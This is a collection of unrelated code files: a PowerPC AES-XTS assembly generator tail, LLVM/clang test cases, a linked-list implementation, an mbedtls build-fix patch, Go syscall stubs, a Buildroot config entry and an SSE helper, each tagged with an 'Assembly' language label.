addi $key_,$sp,$FRAME+15 # rewind $key_
vncipher $out0,$out0,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vncipher $out0,$out0,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vxor $twk0,$twk0,v31
le?vperm $in0,$in0,$in0,$leperm
vncipher $out0,$out0,v30
mtctr $rounds
vncipherlast $out0,$out0,$twk0
vmr $twk0,$twk1 # unused tweak
vmr $twk1,$twk2
le?vperm $out0,$out0,$out0,$leperm
stvx_u $out0,$x00,$out # store output
addi $out,$out,0x10
vxor $out0,$in0,$twk2
bne Lxts_dec6x_steal
b Lxts_dec6x_done
.align 4
Lxts_dec6x_zero:
cmpwi $taillen,0
beq Lxts_dec6x_done
lvx_u $in0,0,$inp
le?vperm $in0,$in0,$in0,$leperm
vxor $out0,$in0,$twk1
Lxts_dec6x_steal:
vncipher $out0,$out0,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vncipher $out0,$out0,v25
lvx v25,$x10,$key_ # round[4]
bdnz Lxts_dec6x_steal
add $inp,$inp,$taillen
vncipher $out0,$out0,v24
cmpwi $taillen,0
vncipher $out0,$out0,v25
lvx_u $in0,0,$inp
vncipher $out0,$out0,v26
lvsr $inpperm,0,$taillen # $in5 is no more
vncipher $out0,$out0,v27
addi $key_,$sp,$FRAME+15 # rewind $key_
vncipher $out0,$out0,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vncipher $out0,$out0,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vxor $twk1,$twk1,v31
le?vperm $in0,$in0,$in0,$leperm
vncipher $out0,$out0,v30
vperm $in0,$in0,$in0,$inpperm
vncipherlast $tmp,$out0,$twk1
le?vperm $out0,$tmp,$tmp,$leperm
le?stvx_u $out0,0,$out
be?stvx_u $tmp,0,$out
vxor $out0,$out0,$out0
vspltisb $out1,-1
vperm $out0,$out0,$out1,$inpperm
vsel $out0,$in0,$tmp,$out0
vxor $out0,$out0,$twk0
subi r30,$out,1
mtctr $taillen
Loop_xts_dec6x_steal:
lbzu r0,1(r30)
stb r0,16(r30)
bdnz Loop_xts_dec6x_steal
li $taillen,0
mtctr $rounds
b Loop_xts_dec1x # one more time...
.align 4
Lxts_dec6x_done:
${UCMP}i $ivp,0
beq Lxts_dec6x_ret
vxor $tweak,$twk0,$rndkey0
le?vperm $tweak,$tweak,$tweak,$leperm
stvx_u $tweak,0,$ivp
Lxts_dec6x_ret:
mtlr r11
li r10,`$FRAME+15`
li r11,`$FRAME+31`
stvx $seven,r10,$sp # wipe copies of round keys
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
stvx $seven,r10,$sp
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
stvx $seven,r10,$sp
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
stvx $seven,r10,$sp
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
mtspr 256,$vrsave
lvx v20,r10,$sp # ABI says so
addi r10,r10,32
lvx v21,r11,$sp
addi r11,r11,32
lvx v22,r10,$sp
addi r10,r10,32
lvx v23,r11,$sp
addi r11,r11,32
lvx v24,r10,$sp
addi r10,r10,32
lvx v25,r11,$sp
addi r11,r11,32
lvx v26,r10,$sp
addi r10,r10,32
lvx v27,r11,$sp
addi r11,r11,32
lvx v28,r10,$sp
addi r10,r10,32
lvx v29,r11,$sp
addi r11,r11,32
lvx v30,r10,$sp
lvx v31,r11,$sp
$POP r26,`$FRAME+21*16+0*$SIZE_T`($sp)
$POP r27,`$FRAME+21*16+1*$SIZE_T`($sp)
$POP r28,`$FRAME+21*16+2*$SIZE_T`($sp)
$POP r29,`$FRAME+21*16+3*$SIZE_T`($sp)
$POP r30,`$FRAME+21*16+4*$SIZE_T`($sp)
$POP r31,`$FRAME+21*16+5*$SIZE_T`($sp)
addi $sp,$sp,`$FRAME+21*16+6*$SIZE_T`
blr
.long 0
.byte 0,12,0x04,1,0x80,6,6,0
.long 0
.align 5
_aesp8_xts_dec5x:
vncipher $out0,$out0,v24
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vncipher $out0,$out0,v25
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
lvx v25,$x10,$key_ # round[4]
bdnz _aesp8_xts_dec5x
subi r0,$taillen,1
vncipher $out0,$out0,v24
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
andi. r0,r0,16
cmpwi $taillen,0
vncipher $out0,$out0,v25
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
vxor $twk0,$twk0,v31
sub $inp,$inp,r0
vncipher $out0,$out0,v26
vncipher $out1,$out1,v26
vncipher $out2,$out2,v26
vncipher $out3,$out3,v26
vncipher $out4,$out4,v26
vxor $in1,$twk1,v31
vncipher $out0,$out0,v27
lvx_u $in0,0,$inp
vncipher $out1,$out1,v27
vncipher $out2,$out2,v27
vncipher $out3,$out3,v27
vncipher $out4,$out4,v27
vxor $in2,$twk2,v31
addi $key_,$sp,$FRAME+15 # rewind $key_
vncipher $out0,$out0,v28
vncipher $out1,$out1,v28
vncipher $out2,$out2,v28
vncipher $out3,$out3,v28
vncipher $out4,$out4,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vxor $in3,$twk3,v31
vncipher $out0,$out0,v29
le?vperm $in0,$in0,$in0,$leperm
vncipher $out1,$out1,v29
vncipher $out2,$out2,v29
vncipher $out3,$out3,v29
vncipher $out4,$out4,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vxor $in4,$twk4,v31
vncipher $out0,$out0,v30
vncipher $out1,$out1,v30
vncipher $out2,$out2,v30
vncipher $out3,$out3,v30
vncipher $out4,$out4,v30
vncipherlast $out0,$out0,$twk0
vncipherlast $out1,$out1,$in1
vncipherlast $out2,$out2,$in2
vncipherlast $out3,$out3,$in3
vncipherlast $out4,$out4,$in4
mtctr $rounds
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
___
}} }}}
my $consts=1;
foreach(split("\n",$code)) {
s/\`([^\`]*)\`/eval($1)/geo;
# constants table endian-specific conversion
if ($consts && m/\.(long|byte)\s+(.+)\s+(\?[a-z]*)$/o) {
my $conv=$3;
my @bytes=();
# convert to endian-agnostic format
if ($1 eq "long") {
foreach (split(/,\s*/,$2)) {
my $l = /^0/?oct:int;
push @bytes,($l>>24)&0xff,($l>>16)&0xff,($l>>8)&0xff,$l&0xff;
}
} else {
@bytes = map(/^0/?oct:int,split(/,\s*/,$2));
}
# little-endian conversion
if ($flavour =~ /le$/o) {
SWITCH: for($conv) {
/\?inv/ && do { @bytes=map($_^0xf,@bytes); last; };
/\?rev/ && do { @bytes=reverse(@bytes); last; };
}
}
#emit
print ".byte\t",join(',',map (sprintf("0x%02x",$_),@bytes)),"\n";
next;
}
$consts=0 if (m/Lconsts:/o); # end of table
# instructions prefixed with '?' are endian-specific and need
# to be adjusted accordingly...
if ($flavour =~ /le$/o) { # little-endian
s/le\?//o or
s/be\?/#be#/o or
s/\?lvsr/lvsl/o or
s/\?lvsl/lvsr/o or
s/\?(vperm\s+v[0-9]+,\s*)(v[0-9]+,\s*)(v[0-9]+,\s*)(v[0-9]+)/$1$3$2$4/o or
s/\?(vsldoi\s+v[0-9]+,\s*)(v[0-9]+,)\s*(v[0-9]+,\s*)([0-9]+)/$1$3$2 16-$4/o or
s/\?(vspltw\s+v[0-9]+,\s*)(v[0-9]+,)\s*([0-9])/$1$2 3-$3/o;
} else { # big-endian
s/le\?/#le#/o or
s/be\?//o or
s/\?([a-z]+)/$1/o;
}
print $_,"\n";
}
close STDOUT;
|
{
"language": "Assembly"
}
|
// RUN: %clang_cc1 -fsyntax-only -triple x86_64 -aux-triple amdgcn -verify %s
// expected-no-diagnostics
#include "Inputs/cuda.h"
__device__ void f(_Float16 x);
__device__ _Float16 x = 1.0f16;
|
{
"language": "Assembly"
}
|
#include "stdafx.h"
#include "xlist.h"
xlistP::x_node_ptr
xlistP::add_head (x_node_ptr p)
{
p->xn_prev = 0;
p->xn_next = x_head;
if (!null (x_head))
x_head->xn_prev = p;
else if (null (x_tail))
x_tail = p;
x_head = p;
return p;
}
xlistP::x_node_ptr
xlistP::add_tail (x_node_ptr p)
{
p->xn_next = 0;
p->xn_prev = x_tail;
if (!null (x_tail))
x_tail->xn_next = p;
else if (null (x_head))
x_head = p;
x_tail = p;
return p;
}
xlistP::x_node_ptr
xlistP::insert_before (x_node_ptr p, x_node_ptr base)
{
if (!null (base->xn_prev))
base->xn_prev->xn_next = p;
else
x_head = p;
p->xn_prev = base->xn_prev;
base->xn_prev = p;
p->xn_next = base;
return p;
}
xlistP::x_node_ptr
xlistP::insert_after (x_node_ptr p, x_node_ptr base)
{
if (!null (base->xn_next))
base->xn_next->xn_prev = p;
else
x_tail = p;
p->xn_next = base->xn_next;
base->xn_next = p;
p->xn_prev = base;
return p;
}
xlistP::x_node_ptr
xlistP::remove (x_node_ptr p)
{
if (!null (p->xn_next))
p->xn_next->xn_prev = p->xn_prev;
else
x_tail = p->xn_prev;
if (!null (p->xn_prev))
p->xn_prev->xn_next = p->xn_next;
else
x_head = p->xn_next;
return p;
}
int
xlistP::length () const
{
int l = 0;
for (x_node_ptr p = head (); p; p = p->xn_next, l++)
;
return l;
}
|
{
"language": "Assembly"
}
|
From a0ae2ba37ca479c6edddec8634b25686be965e0d Mon Sep 17 00:00:00 2001
From: Peter Korsgaard <peter@korsgaard.com>
Date: Mon, 27 Aug 2018 22:50:57 +0200
Subject: [PATCH] bn_mul.h: fix x86 PIC inline ASM compilation with GCC < 5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Fixes #1910
With ebx added to the MULADDC_STOP clobber list to fix #1550, the inline
assembly fails to build with GCC < 5 in PIC mode with the following error:
include/mbedtls/bn_mul.h:46:13: error: PIC register clobbered by ‘ebx’ in ‘asm’
This is because older GCC versions treated the x86 ebx register (which is
used for the GOT) as a fixed reserved register when building as PIC.
This is fixed by an improved register allocator in GCC 5+. From the release
notes:
Register allocation improvements: Reuse of the PIC hard register, instead of
using a fixed register, was implemented on x86/x86-64 targets. This
improves generated PIC code performance as more hard registers can be used.
https://www.gnu.org/software/gcc/gcc-5/changes.html
As a workaround, detect this situation and disable the inline assembly,
similar to the MULADDC_CANNOT_USE_R7 logic.
Signed-off-by: Peter Korsgaard <peter@korsgaard.com>
Upstream: https://github.com/ARMmbed/mbedtls/pull/1986
---
include/mbedtls/bn_mul.h | 18 +++++++++++++++++-
1 file changed, 17 insertions(+), 1 deletion(-)
diff --git a/include/mbedtls/bn_mul.h b/include/mbedtls/bn_mul.h
index b587317d9..74a2d29be 100644
--- a/include/mbedtls/bn_mul.h
+++ b/include/mbedtls/bn_mul.h
@@ -50,13 +50,29 @@
#if defined(__GNUC__) && \
( !defined(__ARMCC_VERSION) || __ARMCC_VERSION >= 6000000 )
+/*
+ * GCC < 5.0 treated the x86 ebx (which is used for the GOT) as a
+ * fixed reserved register when building as PIC, leading to errors
+ * like: bn_mul.h:46:13: error: PIC register clobbered by ‘ebx’ in ‘asm’
+ *
+ * This is fixed by an improved register allocator in GCC 5+. From the
+ * release notes:
+ * Register allocation improvements: Reuse of the PIC hard register,
+ * instead of using a fixed register, was implemented on x86/x86-64
+ * targets. This improves generated PIC code performance as more hard
+ * registers can be used.
+ */
+#if defined(__GNUC__) && __GNUC__ < 5 && defined(__PIC__)
+#define MULADDC_CANNOT_USE_EBX
+#endif
+
/*
* Disable use of the i386 assembly code below if option -O0, to disable all
* compiler optimisations, is passed, detected with __OPTIMIZE__
* This is done as the number of registers used in the assembly code doesn't
* work with the -O0 option.
*/
-#if defined(__i386__) && defined(__OPTIMIZE__)
+#if defined(__i386__) && defined(__OPTIMIZE__) && !defined(MULADDC_CANNOT_USE_EBX)
#define MULADDC_INIT \
asm( \
--
2.11.0
|
{
"language": "Assembly"
}
|
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !gccgo
#include "textflag.h"
//
// System call support for 386, NetBSD
//
// Just jump to package syscall's implementation for all these functions.
// The runtime may know about them.
TEXT ·Syscall(SB),NOSPLIT,$0-28
JMP syscall·Syscall(SB)
TEXT ·Syscall6(SB),NOSPLIT,$0-40
JMP syscall·Syscall6(SB)
TEXT ·Syscall9(SB),NOSPLIT,$0-52
JMP syscall·Syscall9(SB)
TEXT ·RawSyscall(SB),NOSPLIT,$0-28
JMP syscall·RawSyscall(SB)
TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
JMP syscall·RawSyscall6(SB)
|
{
"language": "Assembly"
}
|
// RUN: llvm-mc -triple aarch64-none-linux-gnu -mattr=+neon -show-encoding < %s | FileCheck %s
// RUN: llvm-mc -triple arm64-none-linux-gnu -mattr=+neon -show-encoding < %s | FileCheck %s
// Check that the assembler can handle the documented syntax for AArch64
//----------------------------------------------------------------------
// Vector Absolute Difference and Accumulate (Signed, Unsigned)
//----------------------------------------------------------------------
uaba v0.8b, v1.8b, v2.8b
uaba v0.16b, v1.16b, v2.16b
uaba v0.4h, v1.4h, v2.4h
uaba v0.8h, v1.8h, v2.8h
uaba v0.2s, v1.2s, v2.2s
uaba v0.4s, v1.4s, v2.4s
// CHECK: uaba v0.8b, v1.8b, v2.8b // encoding: [0x20,0x7c,0x22,0x2e]
// CHECK: uaba v0.16b, v1.16b, v2.16b // encoding: [0x20,0x7c,0x22,0x6e]
// CHECK: uaba v0.4h, v1.4h, v2.4h // encoding: [0x20,0x7c,0x62,0x2e]
// CHECK: uaba v0.8h, v1.8h, v2.8h // encoding: [0x20,0x7c,0x62,0x6e]
// CHECK: uaba v0.2s, v1.2s, v2.2s // encoding: [0x20,0x7c,0xa2,0x2e]
// CHECK: uaba v0.4s, v1.4s, v2.4s // encoding: [0x20,0x7c,0xa2,0x6e]
saba v0.8b, v1.8b, v2.8b
saba v0.16b, v1.16b, v2.16b
saba v0.4h, v1.4h, v2.4h
saba v0.8h, v1.8h, v2.8h
saba v0.2s, v1.2s, v2.2s
saba v0.4s, v1.4s, v2.4s
// CHECK: saba v0.8b, v1.8b, v2.8b // encoding: [0x20,0x7c,0x22,0x0e]
// CHECK: saba v0.16b, v1.16b, v2.16b // encoding: [0x20,0x7c,0x22,0x4e]
// CHECK: saba v0.4h, v1.4h, v2.4h // encoding: [0x20,0x7c,0x62,0x0e]
// CHECK: saba v0.8h, v1.8h, v2.8h // encoding: [0x20,0x7c,0x62,0x4e]
// CHECK: saba v0.2s, v1.2s, v2.2s // encoding: [0x20,0x7c,0xa2,0x0e]
// CHECK: saba v0.4s, v1.4s, v2.4s // encoding: [0x20,0x7c,0xa2,0x4e]
//----------------------------------------------------------------------
// Vector Absolute Difference (Signed, Unsigned)
//----------------------------------------------------------------------
uabd v0.8b, v1.8b, v2.8b
uabd v0.16b, v1.16b, v2.16b
uabd v0.4h, v1.4h, v2.4h
uabd v0.8h, v1.8h, v2.8h
uabd v0.2s, v1.2s, v2.2s
uabd v0.4s, v1.4s, v2.4s
// CHECK: uabd v0.8b, v1.8b, v2.8b // encoding: [0x20,0x74,0x22,0x2e]
// CHECK: uabd v0.16b, v1.16b, v2.16b // encoding: [0x20,0x74,0x22,0x6e]
// CHECK: uabd v0.4h, v1.4h, v2.4h // encoding: [0x20,0x74,0x62,0x2e]
// CHECK: uabd v0.8h, v1.8h, v2.8h // encoding: [0x20,0x74,0x62,0x6e]
// CHECK: uabd v0.2s, v1.2s, v2.2s // encoding: [0x20,0x74,0xa2,0x2e]
// CHECK: uabd v0.4s, v1.4s, v2.4s // encoding: [0x20,0x74,0xa2,0x6e]
sabd v0.8b, v1.8b, v2.8b
sabd v0.16b, v1.16b, v2.16b
sabd v0.4h, v1.4h, v2.4h
sabd v0.8h, v1.8h, v2.8h
sabd v0.2s, v1.2s, v2.2s
sabd v0.4s, v1.4s, v2.4s
// CHECK: sabd v0.8b, v1.8b, v2.8b // encoding: [0x20,0x74,0x22,0x0e]
// CHECK: sabd v0.16b, v1.16b, v2.16b // encoding: [0x20,0x74,0x22,0x4e]
// CHECK: sabd v0.4h, v1.4h, v2.4h // encoding: [0x20,0x74,0x62,0x0e]
// CHECK: sabd v0.8h, v1.8h, v2.8h // encoding: [0x20,0x74,0x62,0x4e]
// CHECK: sabd v0.2s, v1.2s, v2.2s // encoding: [0x20,0x74,0xa2,0x0e]
// CHECK: sabd v0.4s, v1.4s, v2.4s // encoding: [0x20,0x74,0xa2,0x4e]
//----------------------------------------------------------------------
// Vector Absolute Difference (Floating Point)
//----------------------------------------------------------------------
fabd v0.2s, v1.2s, v2.2s
fabd v31.4s, v15.4s, v16.4s
fabd v7.2d, v8.2d, v25.2d
// CHECK: fabd v0.2s, v1.2s, v2.2s // encoding: [0x20,0xd4,0xa2,0x2e]
// CHECK: fabd v31.4s, v15.4s, v16.4s // encoding: [0xff,0xd5,0xb0,0x6e]
// CHECK: fabd v7.2d, v8.2d, v25.2d // encoding: [0x07,0xd5,0xf9,0x6e]
|
{
"language": "Assembly"
}
|
// REQUIRES: amdgpu-registered-target
// RUN: %clang_cc1 -triple amdgcn-unknown-unknown -target-cpu gfx1010 -S -emit-llvm -o - %s | FileCheck %s
// RUN: %clang_cc1 -triple amdgcn-unknown-unknown -target-cpu gfx1011 -S -emit-llvm -o - %s | FileCheck %s
// RUN: %clang_cc1 -triple amdgcn-unknown-unknown -target-cpu gfx1012 -S -emit-llvm -o - %s | FileCheck %s
typedef unsigned int uint;
// CHECK-LABEL: @test_permlane16(
// CHECK: call i32 @llvm.amdgcn.permlane16(i32 %a, i32 %b, i32 %c, i32 %d, i1 true, i1 true)
void test_permlane16(global uint* out, uint a, uint b, uint c, uint d) {
*out = __builtin_amdgcn_permlane16(a, b, c, d, 1, 1);
}
// CHECK-LABEL: @test_permlanex16(
// CHECK: call i32 @llvm.amdgcn.permlanex16(i32 %a, i32 %b, i32 %c, i32 %d, i1 true, i1 true)
void test_permlanex16(global uint* out, uint a, uint b, uint c, uint d) {
*out = __builtin_amdgcn_permlanex16(a, b, c, d, 1, 1);
}
// CHECK-LABEL: @test_mov_dpp8(
// CHECK: call i32 @llvm.amdgcn.mov.dpp8.i32(i32 %a, i32 1)
void test_mov_dpp8(global uint* out, uint a) {
*out = __builtin_amdgcn_mov_dpp8(a, 1);
}
|
{
"language": "Assembly"
}
|
# RUN: llvm-mc -triple thumbv7 -show-encoding -disassemble < %s | FileCheck %s
0xa0 0xf9 0x00 0x00
0xa0 0xf9 0x20 0x00
0xa0 0xf9 0x40 0x00
0xa0 0xf9 0x60 0x00
0xa0 0xf9 0x80 0x00
0xa0 0xf9 0xa0 0x00
0xa0 0xf9 0xc0 0x00
0xa0 0xf9 0xe0 0x00
# CHECK: vld1.8 {d0[0]}, [r0], r0 @ encoding: [0xa0,0xf9,0x00,0x00]
# CHECK: vld1.8 {d0[1]}, [r0], r0 @ encoding: [0xa0,0xf9,0x20,0x00]
# CHECK: vld1.8 {d0[2]}, [r0], r0 @ encoding: [0xa0,0xf9,0x40,0x00]
# CHECK: vld1.8 {d0[3]}, [r0], r0 @ encoding: [0xa0,0xf9,0x60,0x00]
# CHECK: vld1.8 {d0[4]}, [r0], r0 @ encoding: [0xa0,0xf9,0x80,0x00]
# CHECK: vld1.8 {d0[5]}, [r0], r0 @ encoding: [0xa0,0xf9,0xa0,0x00]
# CHECK: vld1.8 {d0[6]}, [r0], r0 @ encoding: [0xa0,0xf9,0xc0,0x00]
# CHECK: vld1.8 {d0[7]}, [r0], r0 @ encoding: [0xa0,0xf9,0xe0,0x00]
0xa0 0xf9 0x00 0x04
0xa0 0xf9 0x10 0x04
0xa0 0xf9 0x40 0x04
0xa0 0xf9 0x50 0x04
0xa0 0xf9 0x80 0x04
0xa0 0xf9 0x90 0x04
0xa0 0xf9 0xc0 0x04
0xa0 0xf9 0xd0 0x04
# CHECK: vld1.16 {d0[0]}, [r0], r0 @ encoding: [0xa0,0xf9,0x00,0x04]
# CHECK: vld1.16 {d0[0]}, [r0:16], r0 @ encoding: [0xa0,0xf9,0x10,0x04]
# CHECK: vld1.16 {d0[1]}, [r0], r0 @ encoding: [0xa0,0xf9,0x40,0x04]
# CHECK: vld1.16 {d0[1]}, [r0:16], r0 @ encoding: [0xa0,0xf9,0x50,0x04]
# CHECK: vld1.16 {d0[2]}, [r0], r0 @ encoding: [0xa0,0xf9,0x80,0x04]
# CHECK: vld1.16 {d0[2]}, [r0:16], r0 @ encoding: [0xa0,0xf9,0x90,0x04]
# CHECK: vld1.16 {d0[3]}, [r0], r0 @ encoding: [0xa0,0xf9,0xc0,0x04]
# CHECK: vld1.16 {d0[3]}, [r0:16], r0 @ encoding: [0xa0,0xf9,0xd0,0x04]
0xa0 0xf9 0x00 0x08
0xa0 0xf9 0x30 0x08
0xa0 0xf9 0x80 0x08
0xa0 0xf9 0xb0 0x08
# CHECK: vld1.32 {d0[0]}, [r0], r0 @ encoding: [0xa0,0xf9,0x00,0x08]
# CHECK: vld1.32 {d0[0]}, [r0:32], r0 @ encoding: [0xa0,0xf9,0x30,0x08]
# CHECK: vld1.32 {d0[1]}, [r0], r0 @ encoding: [0xa0,0xf9,0x80,0x08]
# CHECK: vld1.32 {d0[1]}, [r0:32], r0 @ encoding: [0xa0,0xf9,0xb0,0x08]
0xa0 0xf9 0x1f 0x04
0xa0 0xf9 0x8f 0x00
# CHECK: vld1.16 {d0[0]}, [r0:16] @ encoding: [0xa0,0xf9,0x1f,0x04]
# CHECK: vld1.8 {d0[4]}, [r0] @ encoding: [0xa0,0xf9,0x8f,0x00]
0xa0 0xf9 0x1d 0x04
0xa0 0xf9 0x8d 0x00
# CHECK: vld1.16 {d0[0]}, [r0:16]! @ encoding: [0xa0,0xf9,0x1d,0x04]
# CHECK: vld1.8 {d0[4]}, [r0]! @ encoding: [0xa0,0xf9,0x8d,0x00]
0xa5 0xf9 0x10 0x04
0xa5 0xf9 0x1a 0x04
0xae 0xf9 0x1a 0x04
0xa5 0xf9 0x1a 0x94
# CHECK: vld1.16 {d0[0]}, [r5:16], r0 @ encoding: [0xa5,0xf9,0x10,0x04]
# CHECK: vld1.16 {d0[0]}, [r5:16], r10 @ encoding: [0xa5,0xf9,0x1a,0x04]
# CHECK: vld1.16 {d0[0]}, [lr:16], r10 @ encoding: [0xae,0xf9,0x1a,0x04]
# CHECK: vld1.16 {d9[0]}, [r5:16], r10 @ encoding: [0xa5,0xf9,0x1a,0x94]
0xa0 0xf9 0x20 0x0b
0xa0 0xf9 0x20 0x07
0xa0 0xf9 0x20 0x03
# CHECK: vld4.32 {d0[0], d1[0], d2[0], d3[0]}, [r0:128], r0 @ encoding: [0xa0,0xf9,0x20,0x0b]
# CHECK: vld4.16 {d0[0], d2[0], d4[0], d6[0]}, [r0], r0 @ encoding: [0xa0,0xf9,0x20,0x07]
# CHECK: vld4.8 {d0[1], d1[1], d2[1], d3[1]}, [r0], r0 @ encoding: [0xa0,0xf9,0x20,0x03]
|
{
"language": "Assembly"
}
|
; RUN: llc -mtriple=x86_64-windows-msvc < %s | FileCheck %s --check-prefix=ASM
; Make sure variables come out in the right order. windbg builds the prototype
; from the order of these records.
; C++ source to regenerate:
; $ cat t.cpp
; int f(int a, int b, int c) {
; int d = 4;
; int e = 5;
; return a + b + c + d + e;
; }
; $ clang t.cpp -S -emit-llvm -g -gcodeview -o t.ll
; ASM: .short 4414 # Record kind: S_LOCAL
; ASM: .long 116 # TypeIndex
; ASM: .short 1 # Flags
; ASM: .asciz "a"
; ASM: .cv_def_range
; ASM: .short 4414 # Record kind: S_LOCAL
; ASM: .long 116 # TypeIndex
; ASM: .short 1 # Flags
; ASM: .asciz "b"
; ASM: .cv_def_range
; ASM: .short 4414 # Record kind: S_LOCAL
; ASM: .long 116 # TypeIndex
; ASM: .short 1 # Flags
; ASM: .asciz "c"
; ASM: .cv_def_range
; ASM: .short 4414 # Record kind: S_LOCAL
; ASM: .long 116 # TypeIndex
; ASM: .short 0 # Flags
; ASM: .asciz "d"
; ASM: .cv_def_range
; ASM: .short 4414 # Record kind: S_LOCAL
; ASM: .long 116 # TypeIndex
; ASM: .short 0 # Flags
; ASM: .asciz "e"
; ASM: .cv_def_range
; ModuleID = 't.cpp'
source_filename = "t.cpp"
target datalayout = "e-m:w-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc19.0.23918"
; Function Attrs: nounwind uwtable
define i32 @"\01?f@@YAHHHH@Z"(i32 %a, i32 %b, i32 %c) #0 !dbg !7 {
entry:
%c.addr = alloca i32, align 4
%b.addr = alloca i32, align 4
%a.addr = alloca i32, align 4
%d = alloca i32, align 4
%e = alloca i32, align 4
store i32 %c, i32* %c.addr, align 4
call void @llvm.dbg.declare(metadata i32* %c.addr, metadata !11, metadata !12), !dbg !13
store i32 %b, i32* %b.addr, align 4
call void @llvm.dbg.declare(metadata i32* %b.addr, metadata !14, metadata !12), !dbg !15
store i32 %a, i32* %a.addr, align 4
call void @llvm.dbg.declare(metadata i32* %a.addr, metadata !16, metadata !12), !dbg !17
call void @llvm.dbg.declare(metadata i32* %d, metadata !18, metadata !12), !dbg !19
store i32 4, i32* %d, align 4, !dbg !19
call void @llvm.dbg.declare(metadata i32* %e, metadata !20, metadata !12), !dbg !21
store i32 5, i32* %e, align 4, !dbg !21
%0 = load i32, i32* %a.addr, align 4, !dbg !22
%1 = load i32, i32* %b.addr, align 4, !dbg !23
%add = add nsw i32 %0, %1, !dbg !24
%2 = load i32, i32* %c.addr, align 4, !dbg !25
%add1 = add nsw i32 %add, %2, !dbg !26
%3 = load i32, i32* %d, align 4, !dbg !27
%add2 = add nsw i32 %add1, %3, !dbg !28
%4 = load i32, i32* %e, align 4, !dbg !29
%add3 = add nsw i32 %add2, %4, !dbg !30
ret i32 %add3, !dbg !31
}
; Function Attrs: nounwind readnone
declare void @llvm.dbg.declare(metadata, metadata, metadata) #1
attributes #0 = { nounwind uwtable "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="false" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { nounwind readnone }
!llvm.dbg.cu = !{!0}
!llvm.module.flags = !{!3, !4, !5}
!llvm.ident = !{!6}
!0 = distinct !DICompileUnit(language: DW_LANG_C_plus_plus, file: !1, producer: "clang version 3.9.0 (trunk 273683) (llvm/trunk 273691)", isOptimized: false, runtimeVersion: 0, emissionKind: FullDebug, enums: !2)
!1 = !DIFile(filename: "t.cpp", directory: "D:\5Csrc\5Cllvm\5Cbuild")
!2 = !{}
!3 = !{i32 2, !"CodeView", i32 1}
!4 = !{i32 2, !"Debug Info Version", i32 3}
!5 = !{i32 1, !"PIC Level", i32 2}
!6 = !{!"clang version 3.9.0 (trunk 273683) (llvm/trunk 273691)"}
!7 = distinct !DISubprogram(name: "f", linkageName: "\01?f@@YAHHHH@Z", scope: !1, file: !1, line: 1, type: !8, isLocal: false, isDefinition: true, scopeLine: 1, flags: DIFlagPrototyped, isOptimized: false, unit: !0, retainedNodes: !2)
!8 = !DISubroutineType(types: !9)
!9 = !{!10, !10, !10, !10}
!10 = !DIBasicType(name: "int", size: 32, align: 32, encoding: DW_ATE_signed)
!11 = !DILocalVariable(name: "c", arg: 3, scope: !7, file: !1, line: 1, type: !10)
!12 = !DIExpression()
!13 = !DILocation(line: 1, column: 25, scope: !7)
!14 = !DILocalVariable(name: "b", arg: 2, scope: !7, file: !1, line: 1, type: !10)
!15 = !DILocation(line: 1, column: 18, scope: !7)
!16 = !DILocalVariable(name: "a", arg: 1, scope: !7, file: !1, line: 1, type: !10)
!17 = !DILocation(line: 1, column: 11, scope: !7)
!18 = !DILocalVariable(name: "d", scope: !7, file: !1, line: 2, type: !10)
!19 = !DILocation(line: 2, column: 7, scope: !7)
!20 = !DILocalVariable(name: "e", scope: !7, file: !1, line: 3, type: !10)
!21 = !DILocation(line: 3, column: 7, scope: !7)
!22 = !DILocation(line: 4, column: 10, scope: !7)
!23 = !DILocation(line: 4, column: 14, scope: !7)
!24 = !DILocation(line: 4, column: 12, scope: !7)
!25 = !DILocation(line: 4, column: 18, scope: !7)
!26 = !DILocation(line: 4, column: 16, scope: !7)
!27 = !DILocation(line: 4, column: 22, scope: !7)
!28 = !DILocation(line: 4, column: 20, scope: !7)
!29 = !DILocation(line: 4, column: 26, scope: !7)
!30 = !DILocation(line: 4, column: 24, scope: !7)
!31 = !DILocation(line: 4, column: 3, scope: !7)
|
{
"language": "Assembly"
}
|
config BR2_PACKAGE_XLIB_LIBXFONT2
bool "libXfont2"
select BR2_PACKAGE_FREETYPE
select BR2_PACKAGE_XLIB_LIBFONTENC
select BR2_PACKAGE_XLIB_XTRANS
select BR2_PACKAGE_XFONT_ENCODINGS
select BR2_PACKAGE_XORGPROTO
help
X.Org Xfont library
|
{
"language": "Assembly"
}
|
#include "stdafx.h"
#include "mcemaths.h"
#define USE_SSE2
#pragma warning(disable: 4305)
#include "sse_mathfun.h"
#pragma warning(default: 4305)
extern "C" MCEMATHAPI(void) mcemaths_quatcpy(float* q_d, const float* q_s)
{
__asm{
mov eax, q_s
movaps xmm0, [eax]
mov eax, q_d
movaps [eax], xmm0
}
}
